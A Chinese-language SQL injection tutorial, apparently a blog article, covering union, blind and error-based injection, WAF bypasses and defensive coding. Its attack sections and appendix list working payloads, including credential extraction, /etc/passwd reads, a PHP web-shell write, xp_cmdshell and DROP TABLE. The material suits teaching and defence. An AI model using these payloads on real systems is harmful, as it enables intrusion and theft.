SQL注入攻击与防护攻略
目录
1. SQL注入介绍
1.1 什么是SQL注入
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入参数中插入恶意的SQL代码,从而欺骗数据库服务器执行非预期的SQL命令。
1.2 SQL注入的危害
| 危害类型 | 具体影响 |
|---|---|
| 数据泄露 | 获取敏感数据(用户密码、个人信息、商业机密) |
| 数据篡改 | 修改、删除数据库中的数据 |
| 权限提升 | 获取数据库管理员权限,甚至系统权限 |
| 拒绝服务 | 通过恶意SQL语句导致数据库性能下降或崩溃 |
| 系统入侵 | 通过数据库功能执行系统命令,进一步入侵服务器 |
1.3 SQL注入的分类
1.3.1 按注入位置分类
- GET参数注入:通过URL参数注入
- POST参数注入:通过表单提交注入
- Cookie注入:通过Cookie值注入
- HTTP头注入:通过User-Agent、Referer等HTTP头注入
- 二次注入:数据先存储后使用时的注入
1.3.2 按注入方式分类
- 联合查询注入(Union):使用UNION关键字合并查询结果
- 布尔盲注(Boolean-based):通过页面返回的布尔值判断
- 时间盲注(Time-based):通过页面响应时间判断
- 报错注入(Error-based):通过数据库错误信息获取数据
- 堆叠注入(Stacked):执行多条SQL语句
1.4 SQL注入的现状
- OWASP Top 10:SQL注入长期位列前3名
- 影响范围:几乎所有使用数据库的Web应用都可能存在
- 检测难度:自动化工具难以完全检测,需要人工分析
- 修复成本:修复需要重构代码,成本较高
2. SQL注入原理
2.1 基本原理
SQL注入的根本原因是:程序将用户输入的数据直接拼接到SQL语句中,没有进行充分的验证和过滤。
2.1.1 正常SQL执行流程
// 正常情况
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// 用户输入:admin
// 执行SQL:SELECT * FROM users WHERE username = 'admin'
2.1.2 SQL注入攻击流程
// 存在注入漏洞的代码
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// 攻击者输入:admin' OR '1'='1
// 执行SQL:SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// 结果:返回所有用户数据
2.2 注入原理详解
2.2.1 字符串拼接注入
漏洞代码示例:
// Java示例
String id = request.getParameter("id");
String sql = "SELECT * FROM products WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
攻击示例:
正常输入:id = 1
执行SQL:SELECT * FROM products WHERE id = 1
恶意输入:id = 1 OR 1=1
执行SQL:SELECT * FROM products WHERE id = 1 OR 1=1
结果:返回所有产品数据
2.2.2 字符串引号注入
漏洞代码示例:
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username +
"' AND password = '" + password + "'";
攻击示例:
正常输入:
username = admin
password = 123456
执行SQL:SELECT * FROM users WHERE username = 'admin' AND password = '123456'
恶意输入:
username = admin' --
password = (任意值)
执行SQL:SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'
结果:注释掉后面的条件,绕过密码验证
2.2.3 数字型注入
漏洞代码示例:
String id = request.getParameter("id");
String sql = "SELECT * FROM articles WHERE id = " + id;
攻击示例:
恶意输入:id = 1 UNION SELECT username, password FROM users
执行SQL:SELECT * FROM articles WHERE id = 1 UNION SELECT username, password FROM users
结果:获取用户表中的用户名和密码
2.3 注入点识别
2.3.1 常见注入点
-
登录表单
SELECT * FROM users WHERE username = '$username' AND password = '$password' -
搜索功能
SELECT * FROM products WHERE name LIKE '%$keyword%' -
URL参数
SELECT * FROM news WHERE id = $id -
排序功能
SELECT * FROM users ORDER BY $orderBy -
分页功能
SELECT * FROM products LIMIT $offset, $limit
2.3.2 注入点测试方法
方法1:单引号测试
输入:'
观察:是否出现SQL语法错误
方法2:布尔测试
输入:1' AND '1'='1 (应该返回正常结果)
输入:1' AND '1'='2 (应该返回空结果)
方法3:时间延迟测试
输入:1' AND SLEEP(5)--
观察:页面响应是否延迟5秒
3. 重难点分析
3.1 难点一:绕过过滤机制
3.1.1 关键字过滤绕过
常见过滤:
- 过滤
SELECT、UNION、WHERE等关键字 - 过滤单引号、双引号
- 过滤注释符
--、#、/* */
绕过技巧:
-
大小写混合
SeLeCt * FrOm users -
双写关键字
SELSELECTECT * FROM users -- 如果过滤SELECT,可能只删除一个 -
使用注释符分割
SEL/**/ECT * FR/**/OM users -
使用编码
%53%45%4C%45%43%54 -- SELECT的URL编码 -
使用等价函数
-- 如果过滤了空格,使用注释符代替 SELECT/**/*/**/FROM/**/users -- 如果过滤了单引号,使用十六进制 SELECT * FROM users WHERE username = 0x61646D696E -- admin的十六进制
3.1.2 WAF绕过
常见WAF规则:
- 检测SQL关键字
- 检测特殊字符
- 检测请求频率
绕过方法:
-
注释符绕过
UNION/**/SELECT/**/1,2,3 -
内联注释绕过(MySQL)
/*!UNION*/ /*!SELECT*/ 1,2,3 -
编码绕过
-- URL编码 %55%4E%49%4F%4E -- UNION -- Unicode编码 %u0055%u004E%u0049%u004F%u004E -- UNION -
分块传输
使用Transfer-Encoding: chunked 将恶意SQL分块传输,绕过WAF检测
3.2 难点二:盲注技术
3.2.1 布尔盲注
原理: 通过页面返回的布尔值(真/假)来判断SQL执行结果。
示例:
-- 判断数据库名长度
?id=1' AND LENGTH(DATABASE())>5-- -- 如果返回正常,说明长度>5
?id=1' AND LENGTH(DATABASE())>10-- -- 如果返回空,说明长度<=10
-- 逐字符判断数据库名
?id=1' AND SUBSTRING(DATABASE(),1,1)='a'-- -- 判断第一个字符是否为'a'
?id=1' AND SUBSTRING(DATABASE(),1,1)='b'-- -- 判断第一个字符是否为'b'
自动化脚本思路:
import requests
def boolean_blind_injection(url, payload_template):
result = ""
for i in range(1, 100):
for char in "abcdefghijklmnopqrstuvwxyz0123456789_":
payload = payload_template.format(pos=i, char=char)
response = requests.get(url, params={"id": payload})
if "正常标识" in response.text:
result += char
print(f"找到字符: {char}, 当前结果: {result}")
break
else:
break
return result
3.2.2 时间盲注
原理: 通过页面响应时间来判断SQL执行结果。
示例:
-- MySQL时间盲注
?id=1' AND IF(LENGTH(DATABASE())>5, SLEEP(5), 0)--
-- 逐字符判断
?id=1' AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--
时间盲注函数:
| 数据库 | 延迟函数 |
|---|---|
| MySQL | SLEEP(n), BENCHMARK(count, expr) |
| PostgreSQL | PG_SLEEP(n) |
| MSSQL | WAITFOR DELAY '0:0:5' |
| Oracle | DBMS_PIPE.RECEIVE_MESSAGE('a', 5) |
3.3 难点三:联合查询注入
3.3.1 确定列数
-- 方法1:ORDER BY
?id=1' ORDER BY 1-- -- 正常
?id=1' ORDER BY 2-- -- 正常
?id=1' ORDER BY 3-- -- 正常
?id=1' ORDER BY 4-- -- 报错,说明只有3列
-- 方法2:UNION SELECT
?id=1' UNION SELECT 1-- -- 报错
?id=1' UNION SELECT 1,2-- -- 报错
?id=1' UNION SELECT 1,2,3-- -- 正常,说明有3列
3.3.2 确定显示位置
-- 使用数字标记显示位置
?id=1' UNION SELECT 1,2,3--
-- 页面显示2和3,说明第2、3列会显示在页面上
-- 可以在这些位置注入查询语句
?id=1' UNION SELECT 1, DATABASE(), USER()--
3.3.3 获取数据
-- 获取数据库名
?id=1' UNION SELECT 1, DATABASE(), 3--
-- 获取表名
?id=1' UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()--
-- 获取列名
?id=1' UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'--
-- 获取数据
?id=1' UNION SELECT 1, username, password FROM users--
3.4 难点四:报错注入
3.4.1 MySQL报错注入
常用函数:
-
extractvalue()
?id=1' AND extractvalue(1, concat(0x7e, (SELECT DATABASE()), 0x7e))-- -
updatexml()
?id=1' AND updatexml(1, concat(0x7e, (SELECT DATABASE()), 0x7e), 1)-- -
floor() + rand() + group by
?id=1' AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY CONCAT((SELECT DATABASE()), FLOOR(RAND(0)*2)))--
3.4.2 报错注入的优势
- 不需要显示位置
- 可以快速获取数据
- 适合盲注场景
4. 攻击与防护实践
4.1 攻击实践
4.1.1 实战场景一:登录绕过
目标代码:
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username +
"' AND password = '" + password + "'";
攻击步骤:
-
测试注入点
用户名:admin' 观察:是否出现SQL错误 -
构造绕过语句
用户名:admin' -- 密码:任意值 执行SQL: SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx' -
使用OR绕过
用户名:admin' OR '1'='1 密码:任意值 执行SQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'xxx'
4.1.2 实战场景二:数据提取
目标: 获取users表中的用户名和密码
步骤:
-
确定注入点
?id=1' AND 1=1-- -- 正常 ?id=1' AND 1=2-- -- 异常 -
确定列数
?id=1' ORDER BY 3-- -- 正常 ?id=1' ORDER BY 4-- -- 报错,说明有3列 -
确定显示位置
?id=1' UNION SELECT 1,2,3-- -- 页面显示2和3 -
获取表名
?id=1' UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()-- -
获取列名
?id=1' UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'-- -
获取数据
?id=1' UNION SELECT 1, username, password FROM users--
4.1.3 实战场景三:文件读写
MySQL文件读写:
-- 读取文件
?id=1' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--
-- 写入文件(需要FILE权限)
?id=1' INTO OUTFILE '/var/www/html/shell.php'
SELECT '<?php @eval($_POST[cmd]); ?>'--
注意事项:
- 需要数据库用户有FILE权限
- 需要知道Web目录的绝对路径
- 需要secure_file_priv配置允许
4.2 防护实践
4.2.1 使用预编译语句(PreparedStatement)
Java示例:
// ❌ 错误方式:字符串拼接
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// ✅ 正确方式:预编译语句
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();
原理:
- SQL语句和参数分离
- 参数会被转义处理
- 数据库会预编译SQL结构,参数无法改变SQL结构
MyBatis示例:
<!-- ✅ 正确:使用参数化查询 -->
<select id="getUser" resultType="User">
SELECT * FROM users WHERE username = #{username}
</select>
<!-- ❌ 错误:使用字符串拼接 -->
<select id="getUser" resultType="User">
SELECT * FROM users WHERE username = '${username}'
</select>
4.2.2 输入验证和过滤
白名单验证:
// 数字类型验证
public boolean isValidId(String id) {
return id.matches("^[0-9]+$");
}
// 枚举值验证
public boolean isValidStatus(String status) {
return Arrays.asList("active", "inactive", "pending").contains(status);
}
黑名单过滤(不推荐,容易被绕过):
// 不推荐:容易被绕过
String[] dangerous = {"SELECT", "UNION", "DROP", "DELETE", "--", "/*"};
for (String keyword : dangerous) {
if (input.contains(keyword)) {
throw new SecurityException("Invalid input");
}
}
4.2.3 最小权限原则
数据库用户权限:
-- ❌ 错误:使用root用户
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'localhost';
-- ✅ 正确:最小权限
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
-- 不授予DROP、DELETE、FILE等危险权限
4.2.4 错误处理
不暴露数据库错误信息:
// ❌ 错误:直接返回错误信息
try {
// SQL执行
} catch (SQLException e) {
response.getWriter().write("Error: " + e.getMessage());
// 可能暴露数据库结构信息
}
// ✅ 正确:记录日志,返回通用错误
try {
// SQL执行
} catch (SQLException e) {
logger.error("Database error", e);
response.getWriter().write("An error occurred. Please try again later.");
}
4.2.5 使用ORM框架
MyBatis-Plus示例:
// ✅ 使用ORM框架,自动使用预编译语句
@Autowired
private UserMapper userMapper;
public User getUser(String username) {
QueryWrapper<User> wrapper = new QueryWrapper<>();
wrapper.eq("username", username);
return userMapper.selectOne(wrapper);
}
JPA/Hibernate示例:
// ✅ 使用JPA,自动防护SQL注入
@Repository
public interface UserRepository extends JpaRepository<User, Long> {
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsername(@Param("username") String username);
}
5. 防御全攻略
5.1 开发阶段防护
5.1.1 编码规范
强制使用预编译语句:
// 代码审查检查清单
□ 禁止使用字符串拼接SQL
□ 禁止使用Statement.executeQuery()
□ 必须使用PreparedStatement
□ MyBatis必须使用#{},禁止使用${}
代码示例检查:
// ❌ 禁止
String sql = "SELECT * FROM users WHERE id = " + id;
// ✅ 允许
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setInt(1, id);
5.1.2 输入验证框架
使用Bean Validation:
public class UserRequest {
@NotNull
@Pattern(regexp = "^[a-zA-Z0-9_]{3,20}$", message = "用户名格式不正确")
private String username;
@NotNull
@Size(min = 6, max = 20, message = "密码长度必须在6-20之间")
private String password;
}
5.1.3 安全编码库
使用ESAPI(OWASP Enterprise Security API):
import org.owasp.esapi.ESAPI;
import org.owasp.esapi.Encoder;
Encoder encoder = ESAPI.encoder();
String safeInput = encoder.encodeForSQL(encoder.getDefaultCodec(), userInput);
5.2 框架层面防护
5.2.1 MyBatis防护
正确使用参数化查询:
<!-- ✅ 正确:使用#{} -->
<select id="getUser" resultType="User">
SELECT * FROM users
WHERE username = #{username}
AND status = #{status}
</select>
<!-- ❌ 错误:使用${} -->
<select id="getUser" resultType="User">
SELECT * FROM users WHERE username = '${username}'
</select>
<!-- 特殊情况:必须使用${}时,需要严格验证 -->
<select id="getUser" resultType="User">
SELECT * FROM users
ORDER BY
<choose>
<when test="orderBy == 'id' or orderBy == 'name'">
${orderBy}
</when>
<otherwise>
id
</otherwise>
</choose>
</select>
5.2.2 Spring Data JPA防护
// ✅ JPA自动使用预编译语句
public interface UserRepository extends JpaRepository<User, Long> {
// 方法名查询
User findByUsername(String username);
// @Query注解
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsernameQuery(@Param("username") String username);
// 原生SQL(不推荐,如必须使用需参数化)
@Query(value = "SELECT * FROM users WHERE username = ?1", nativeQuery = true)
User findByUsernameNative(String username);
}
5.3 运行时防护
5.3.1 WAF(Web应用防火墙)
部署WAF:
- 商业WAF:阿里云WAF、腾讯云WAF、AWS WAF
- 开源WAF:ModSecurity、Naxsi
ModSecurity规则示例:
# 检测SQL注入
SecRule ARGS "@detectSQLi" \
"id:1001,\
phase:2,\
block,\
msg:'SQL Injection Attack Detected',\
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
5.3.2 RASP(运行时应用自我保护)
RASP原理:
- 在应用运行时检测SQL注入
- 拦截危险SQL执行
- 记录攻击行为
Java RASP示例(使用ByteBuddy):
@Advice.OnMethodEnter
static void enter(@Advice.Argument(0) String sql) {
if (isSQLInjection(sql)) {
throw new SecurityException("SQL Injection detected: " + sql);
}
}
5.3.3 数据库审计
开启数据库审计日志:
-- MySQL开启审计
SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'TABLE';
-- 查看审计日志
SELECT * FROM mysql.general_log
WHERE argument LIKE '%SELECT%'
ORDER BY event_time DESC;
5.4 数据库层面防护
5.4.1 数据库配置
MySQL安全配置:
# my.cnf
[mysqld]
# 禁止LOAD_FILE和INTO OUTFILE
secure_file_priv = ""
# 禁用危险函数
# 可以通过禁用FILE权限实现
# 启用SQL模式
sql_mode = STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
5.4.2 存储过程
使用存储过程封装业务逻辑:
-- 创建存储过程
DELIMITER //
CREATE PROCEDURE GetUser(IN p_username VARCHAR(50))
BEGIN
SELECT * FROM users WHERE username = p_username;
END //
DELIMITER ;
-- Java调用
CallableStatement cs = connection.prepareCall("{CALL GetUser(?)}");
cs.setString(1, username);
ResultSet rs = cs.executeQuery();
5.5 检测与监控
5.5.1 代码扫描
使用静态代码分析工具:
- SonarQube:检测SQL注入漏洞
- FindBugs/SpotBugs:检测不安全代码
- Checkmarx:商业代码扫描工具
SonarQube规则:
<rule>
<key>S2076</key>
<name>SQL queries should not be vulnerable to injection attacks</name>
<description>SQL注入检测规则</description>
</rule>
5.5.2 渗透测试
定期进行安全测试:
- OWASP ZAP:自动化安全扫描
- SQLMap:SQL注入检测工具
- Burp Suite:手动渗透测试
5.5.3 日志监控
监控异常SQL:
// 记录所有SQL执行
@Aspect
@Component
public class SqlLogAspect {
@Around("execution(* *..*Mapper.*(..))")
public Object logSql(ProceedingJoinPoint joinPoint) throws Throwable {
String sql = getSql(joinPoint);
if (isSuspicious(sql)) {
logger.warn("Suspicious SQL detected: " + sql);
// 发送告警
}
return joinPoint.proceed();
}
private boolean isSuspicious(String sql) {
String[] patterns = {
".*UNION.*SELECT.*",
".*OR.*1.*=.*1.*",
".*';.*--.*"
};
for (String pattern : patterns) {
if (sql.matches(pattern)) {
return true;
}
}
return false;
}
}
5.6 应急响应
5.6.1 发现SQL注入后的处理
-
立即隔离
- 禁用相关功能
- 临时关闭接口
-
评估影响
- 检查日志,确定攻击范围
- 评估数据泄露情况
-
修复漏洞
- 使用预编译语句重构代码
- 进行安全测试验证
-
通知用户
- 如涉及数据泄露,通知受影响用户
- 建议修改密码
-
事后总结
- 分析攻击路径
- 完善防护措施
6. 实战案例
6.1 案例一:登录绕过
漏洞代码:
@PostMapping("/login")
public String login(String username, String password) {
String sql = "SELECT * FROM users WHERE username = '" + username +
"' AND password = '" + password + "'";
// 执行SQL...
}
攻击载荷:
username: admin' --
password: (任意值)
修复方案:
@PostMapping("/login")
public String login(String username, String password) {
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
// 执行SQL...
}
6.2 案例二:搜索功能注入
漏洞代码:
@GetMapping("/search")
public List<Product> search(String keyword) {
String sql = "SELECT * FROM products WHERE name LIKE '%" + keyword + "%'";
// 执行SQL...
}
攻击载荷:
keyword: %' UNION SELECT username, password FROM users--
修复方案:
@GetMapping("/search")
public List<Product> search(String keyword) {
String sql = "SELECT * FROM products WHERE name LIKE ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, "%" + keyword + "%");
// 执行SQL...
}
6.3 案例三:排序功能注入
漏洞代码:
@GetMapping("/list")
public List<User> list(String orderBy) {
String sql = "SELECT * FROM users ORDER BY " + orderBy;
// 执行SQL...
}
攻击载荷:
orderBy: id; DROP TABLE users--
修复方案:
@GetMapping("/list")
public List<User> list(String orderBy) {
// 白名单验证
List<String> allowedColumns = Arrays.asList("id", "name", "create_time");
if (!allowedColumns.contains(orderBy)) {
orderBy = "id";
}
String sql = "SELECT * FROM users ORDER BY " + orderBy;
// 执行SQL...
}
7. 工具与检测
7.1 检测工具
7.1.1 SQLMap
功能: 自动化SQL注入检测和利用工具
使用方法:
# 基本检测
sqlmap -u "http://example.com/page?id=1"
# 指定参数
sqlmap -u "http://example.com/login" --data="username=admin&password=123"
# 获取数据库
sqlmap -u "http://example.com/page?id=1" --dbs
# 获取表
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
# 获取数据
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
7.1.2 Burp Suite
功能: Web安全测试平台
使用步骤:
- 配置代理
- 拦截HTTP请求
- 发送到Repeater
- 修改参数测试SQL注入
7.1.3 OWASP ZAP
功能: 开源Web应用安全扫描器
使用方法:
- 启动ZAP
- 配置代理
- 浏览目标网站
- 查看扫描结果
7.2 防护工具
7.2.1 ModSecurity
安装配置:
# 安装
apt-get install libapache2-mod-security2
# 配置
cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
7.2.2 RASP工具
- OpenRASP:百度开源RASP
- Contrast Security:商业RASP
- Hdiv:商业应用安全平台
7.3 代码扫描工具
7.3.1 SonarQube
配置SQL注入检测规则:
<!-- sonar-project.properties -->
sonar.issue.ignore.multicriteria=e1
sonar.issue.ignore.multicriteria.e1.ruleKey=java:S2076
sonar.issue.ignore.multicriteria.e1.resourceKey=**/*.java
7.3.2 FindBugs/SpotBugs
检测规则:
- SQL_NONCONSTANT_STRING_PASSED_TO_EXECUTE
- SQL_PREPARED_STATEMENT_GENERATED_FROM_NONCONSTANT_STRING
8. 最佳实践总结
8.1 开发阶段
- ✅ 强制使用预编译语句
- ✅ 输入验证和过滤
- ✅ 最小权限原则
- ✅ 错误处理不暴露信息
- ✅ 代码审查和安全测试
8.2 部署阶段
- ✅ 配置WAF
- ✅ 数据库安全配置
- ✅ 启用审计日志
- ✅ 定期安全扫描
8.3 运维阶段
- ✅ 监控异常SQL
- ✅ 定期渗透测试
- ✅ 及时修复漏洞
- ✅ 应急响应预案
8.4 检查清单
代码审查清单:
- 是否使用PreparedStatement?
- MyBatis是否使用#{}?
- 是否有输入验证?
- 错误信息是否安全?
- 数据库用户权限是否最小化?
安全测试清单:
- 是否进行SQL注入测试?
- 是否使用自动化工具扫描?
- 是否进行手动渗透测试?
- 是否检查日志中的异常SQL?
9. 参考资料
9.1 OWASP资源
9.2 工具资源
9.3 学习资源
10. 附录
10.1 SQL注入Payload集合
通用Payload:
-- 注释符
' --
' #
'/*
-- 布尔测试
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
' OR '1'='1' /*
-- 联合查询
' UNION SELECT NULL--
' UNION SELECT 1,2,3--
-- 时间延迟
'; WAITFOR DELAY '0:0:5'--
'; SELECT SLEEP(5)--
MySQL特定:
-- 注释
' --
' #
'/*
-- 时间延迟
' AND SLEEP(5)--
' AND BENCHMARK(1000000,MD5(1))--
-- 报错注入
' AND extractvalue(1, concat(0x7e, (SELECT DATABASE()), 0x7e))--
' AND updatexml(1, concat(0x7e, (SELECT DATABASE()), 0x7e), 1)--
MSSQL特定:
-- 注释
' --
'/*
-- 时间延迟
'; WAITFOR DELAY '0:0:5'--
-- 堆叠查询
'; EXEC xp_cmdshell('whoami')--
10.2 常见绕过技巧
| 过滤内容 | 绕过方法 |
|---|---|
| 空格 | /**/, %09, %0A, %0D |
| 单引号 | \', %27, CHAR(39) |
| 注释符 | -- , #, /* */ |
| SELECT | SeLeCt, SEL/**/ECT |
| UNION | UnIoN, UNI/**/ON |
| AND/OR | AnD, Or, &&, || |
免责声明: 本文档仅用于安全研究和防护目的。请勿将本文档中的技术用于非法用途。使用本文档进行安全测试时,请确保已获得授权。

590

被折叠的 条评论
为什么被折叠?



